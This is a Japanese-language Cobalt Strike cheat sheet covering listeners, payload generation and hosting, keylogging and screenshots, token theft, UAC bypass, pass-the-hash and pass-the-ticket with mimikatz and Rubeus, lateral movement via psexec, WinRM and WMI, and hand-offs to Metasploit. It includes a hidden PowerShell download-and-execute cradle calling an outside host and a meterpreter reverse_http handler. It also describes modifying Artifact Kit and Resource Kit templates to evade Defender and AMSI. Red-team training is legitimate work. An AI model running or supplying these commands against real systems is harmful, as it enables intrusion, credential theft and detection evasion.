リスナー
C2 リスナー
Cobalt Strike -> Listeners -> Add/Edit
で、リスニングする場所や使用するビークンの種類(http、dns、smb...)などを選択できます。
Peer2Peer リスナー
これらのリスナーのビークンは、C2と直接通信する必要はなく、他のビークンを通じて通信できます。
Cobalt Strike -> Listeners -> Add/Edit
で、TCPまたはSMBビークンを選択する必要があります。
TCPビークンは選択したポートにリスナーを設定します 。TCPビークンに接続するには、別のビークンから connect <ip> <port>
コマンドを使用します。
smbビークンは選択した名前のパイプ名でリスニングします 。SMBビークンに接続するには、link [target] [pipe]
コマンドを使用する必要があります。
ペイロードの生成とホスティング
ファイル内でのペイロードの生成
Attacks -> Packages ->
HTMLApplication
はHTAファイル用
MS Office Macro
はマクロ付きのオフィス文書用
Windows Executable
は .exe、.dll またはサービス .exe 用
Windows Executable (S)
は ステージレス .exe、.dll またはサービス .exe 用(ステージレスの方がステージドよりも良い、IoCが少ない)
ペイロードの生成とホスティング
Attacks -> Web Drive-by -> Scripted Web Delivery (S)
これにより、cobalt strikeからビークンをダウンロードするためのスクリプト/実行可能ファイルが生成されます。形式は bitsadmin、exe、powershell、python などです。
ペイロードのホスティング
ホスティングしたいファイルがすでにウェブサーバーにある場合は、Attacks -> Web Drive-by -> Host File
に移動し、ホストするファイルとウェブサーバーの設定を選択します。
ビークンオプション
Copy # ローカル .NET バイナリを実行
execute-assembly < /path/to/executable.ex e >
# スクリーンショット
printscreen # PrintScr メソッドを使用して単一のスクリーンショットを撮る
screenshot # 単一のスクリーンショットを撮る
screenwatch # デスクトップの定期的なスクリーンショットを撮る
## 表示 -> スクリーンショットに移動して確認する
# キーロガー
keylogger [pid] [x86 | x64]
## 表示 > キーストロークで押されたキーを確認する
# ポートスキャン
portscan [pid] [arch] [targets] [ports] [arp | icmp | none] [max connections] # 別のプロセス内にポートスキャンアクションを注入
portscan [targets] [ports] [arp | icmp | none] [max connections]
# Powershell
# Powershell モジュールをインポート
powershell-import C: \p ath \t o \P owerView.ps1
powershell < ここにpowershellコマンドを記 述 >
# ユーザーのなりすまし
## クレデンシャルを使用したトークン生成
make_token [DOMAIN\user] [password] # ネットワーク内のユーザーをなりすますためのトークンを作成
ls \\ computer_name \c$ # 生成したトークンを使用してコンピュータのC$にアクセスを試みる
rev2self # make_tokenで生成したトークンの使用を停止
## make_tokenの使用はイベント4624を生成します: アカウントが正常にログオンしました。このイベントはWindowsドメインで非常に一般的ですが、ログオンタイプでフィルタリングすることで絞り込むことができます。上記のように、これはLOGON32_LOGON_NEW_CREDENTIALSを使用し、タイプ9です。
# UAC バイパス
elevate svc-exe < listene r >
elevate uac-token-duplication < listene r >
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## pidからトークンを盗む
## make_tokenのようですが、プロセスからトークンを盗む
steal_token [pid] # これはネットワークアクションに役立ちますが、ローカルアクションには役立ちません
## APIドキュメントから、このログオンタイプは「呼び出し元が現在のトークンをクローンすることを許可する」ことがわかります。これが、ビークンの出力に「Impersonated <current_username>」と表示される理由です - 自分のクローンされたトークンをなりすましています。
ls \\ computer_name \c$ # 生成したトークンを使用してコンピュータのC$にアクセスを試みる
rev2self # steal_tokenからのトークンの使用を停止
## 新しいクレデンシャルでプロセスを起動
spawnas [domain\username] [password] [listener] # 読み取りアクセスのあるディレクトリから実行: cd C:\
## make_tokenのように、これによりWindowsイベント4624が生成されます: アカウントが正常にログオンしましたが、ログオンタイプは2(LOGON32_LOGON_INTERACTIVE)です。呼び出しユーザー(TargetUserName)となりすましたユーザー(TargetOutboundUserName)が詳細に記載されます。
## プロセスに注入
inject [pid] [x64 | x86] [listener]
## OpSecの観点から: 本当に必要でない限り、クロスプラットフォームの注入は行わないでください(例: x86 -> x64 または x64 -> x86)。
## ハッシュをパス
## この修正プロセスはLSASSメモリのパッチを必要とし、高リスクのアクションであり、ローカル管理者権限が必要で、Protected Process Light (PPL) が有効な場合はあまり実行可能ではありません。
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## mimikatzを通じてハッシュをパス
mimikatz sekurlsa::pth /user: < usernam e > /domain: < DOMAI N > /ntlm: < NTLM HAS H > /run: "powershell -w hidden"
## /runなしで、mimikatzはcmd.exeを生成します。デスクトップを持つユーザーとして実行している場合、シェルが表示されます(SYSTEMとして実行している場合は問題ありません)
steal_token < pi d > # mimikatzによって作成されたプロセスからトークンを盗む
## チケットをパス
## チケットをリクエスト
execute-assembly C: \p ath \R ubeus.exe asktgt /user: < usernam e > /domain: < domai n > /aes256: < aes_key s > /nowrap /opsec
## 新しいチケットを使用するための新しいログオンセッションを作成(侵害されたものを上書きしないため)
make_token < domai n > \< usernam e > DummyPass
## 攻撃者のマシンにチケットを書き込み、poweshellセッションから読み込む &
[System.IO.File]::WriteAllBytes( "C:\Users\Administrator\Desktop\jkingTGT.kirbi" , [System.Convert]::FromBase64String( "[...ticket...]" ))
kerberos_ticket_use C: \U sers \A dministrator \D esktop \j kingTGT.kirbi
## SYSTEMからチケットをパス
## チケットを持つ新しいプロセスを生成
execute-assembly C: \p ath \R ubeus.exe asktgt /user: < USERNAM E > /domain: < DOMAI N > /aes256: < AES KE Y > /nowrap /opsec /createnetonly:C: \W indows \S ystem32 \c md.exe
## そのプロセスからトークンを盗む
steal_token < pi d >
## チケットを抽出 + チケットをパス
### チケットのリスト
execute-assembly C: \p ath \R ubeus.exe triage
### luidによる興味深いチケットをダンプ
execute-assembly C: \p ath \R ubeus.exe dump /service:krbtgt /luid: < lui d > /nowrap
### 新しいログオンセッションを作成し、luidとprocessidを記録
execute-assembly C: \p ath \R ubeus.exe createnetonly /program:C: \W indows \S ystem32 \c md.exe
### 生成されたログオンセッションにチケットを挿入
execute-assembly C: \p ath \R ubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### 最後に、その新しいプロセスからトークンを盗む
steal_token < pi d >
# 横移動
## トークンが作成されている場合は使用されます
jump [method] [target] [listener]
## メソッド:
## psexec x86 サービスを使用してサービスEXEアーティファクトを実行
## psexec64 x64 サービスを使用してサービスEXEアーティファクトを実行
## psexec_psh x86 サービスを使用してPowerShellワンライナーを実行
## winrm x86 WinRM経由でPowerShellスクリプトを実行
## winrm64 x64 WinRM経由でPowerShellスクリプトを実行
remote-exec [method] [target] [command]
## メソッド:
## psexec サービスコントロールマネージャー経由でリモート実行
## winrm WinRM(PowerShell)経由でリモート実行
## wmi WMI経由でリモート実行
## wmiでビークンを実行するには(jumpコマンドには含まれていません)、ビークンをアップロードして実行します
beacon > upload C: \P ayloads \b eacon-smb.exe
beacon > remote-exec wmi srv-1 C: \W indows \b eacon-smb.exe
# Metasploitへのセッションのパス - リスナーを通じて
## Metasploitホスト上で
msf6 > use exploit/multi/handler
msf6 exploit ( multi/handler ) > set payload windows/meterpreter/reverse_http
msf6 exploit ( multi/handler ) > set LHOST eth0
msf6 exploit ( multi/handler ) > set LPORT 8080
msf6 exploit ( multi/handler ) > exploit -j
## Cobalt上で: リスナー > 追加し、ペイロードをForeign HTTPに設定します。ホストを10.10.5.120、ポートを8080に設定し、保存をクリックします。
beacon > spawn metasploit
## 外国リスナーでx86 Meterpreterセッションのみを生成できます。
# Metasploitへのセッションのパス - シェルコード注入を通じて
## Metasploitホスト上で
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= < I P > LPORT= < POR T > -f raw -o /tmp/msf.bin
## msfvenomを実行し、multi/handlerリスナーを準備します。
## binファイルをCobalt Strikeホストにコピー
ps
shinject < pi d > x64 C: \P ayloads \m sf.bin # x64プロセスにMetasploitシェルコードを注入
# MetasploitセッションをCobalt Strikeにパス
## ステージレスビークンシェルコードを生成し、Attacks > Packages > Windows Executable (S)に移動し、希望のリスナーを選択し、出力タイプとしてRawを選択し、x64ペイロードを使用します。
## Metasploitでpost/windows/manage/shellcode_injectを使用して生成されたCobalt Strikeシェルコードを注入します。
# ピボッティング
## チームサーバーでソックスプロキシを開く
beacon > socks 1080
# SSH接続
beacon > ssh 10.10.17.12:22 username password
AVを回避する
アーティファクトキット
通常、/opt/cobaltstrike/artifact-kit
に、Cobalt Strikeがバイナリビークンを生成するために使用するコードと事前コンパイルされたテンプレート(/src-common
内)を見つけることができます。
生成されたバックドア(またはコンパイルされたテンプレート)を使用して ThreatCheck を使用すると、Defenderがトリガーされる原因を特定できます。通常は文字列です。したがって、バックドアを生成するコードを修正して、その文字列が最終的なバイナリに表示されないようにすることができます。
コードを修正した後、同じディレクトリから ./build.sh
を実行し、dist-pipe/
フォルダーをWindowsクライアントの C:\Tools\cobaltstrike\ArtifactKit
にコピーします。
Copy pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
dist-pipe\artifact.cna
という攻撃的なスクリプトを読み込むのを忘れないでください。これにより、Cobalt Strikeが使用したいディスク上のリソースを指定し、読み込まれたリソースではなくなります。
Resource Kit
ResourceKitフォルダーには、Cobalt Strikeのスクリプトベースのペイロードのテンプレートが含まれています。これにはPowerShell、VBA、HTAが含まれます。
ThreatCheck をテンプレートと一緒に使用することで、Defender(この場合はAMSI)が好まないものを見つけて修正できます:
Copy .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
検出された行を修正することで、キャッチされないテンプレートを生成できます。
Cobalt Strikeに、使用したいリソースをディスクから読み込むように指示するために、攻撃的なスクリプトResourceKit\resources.cna
を読み込むのを忘れないでください。
Copy cd C: \T ools \n eo4j \b in
neo4j.bat console
http://localhost:7474/ -- > Change password
execute-assembly C: \T ools \S harpHound3 \S harpHound3 \b in \D ebug \S harpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike -- > script manager -- > Load -- > Cargar C: \T ools \c obaltstrike \R esourceKit \r esources.cna
#artifact kit
cd C: \T ools \c obaltstrike \A rtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .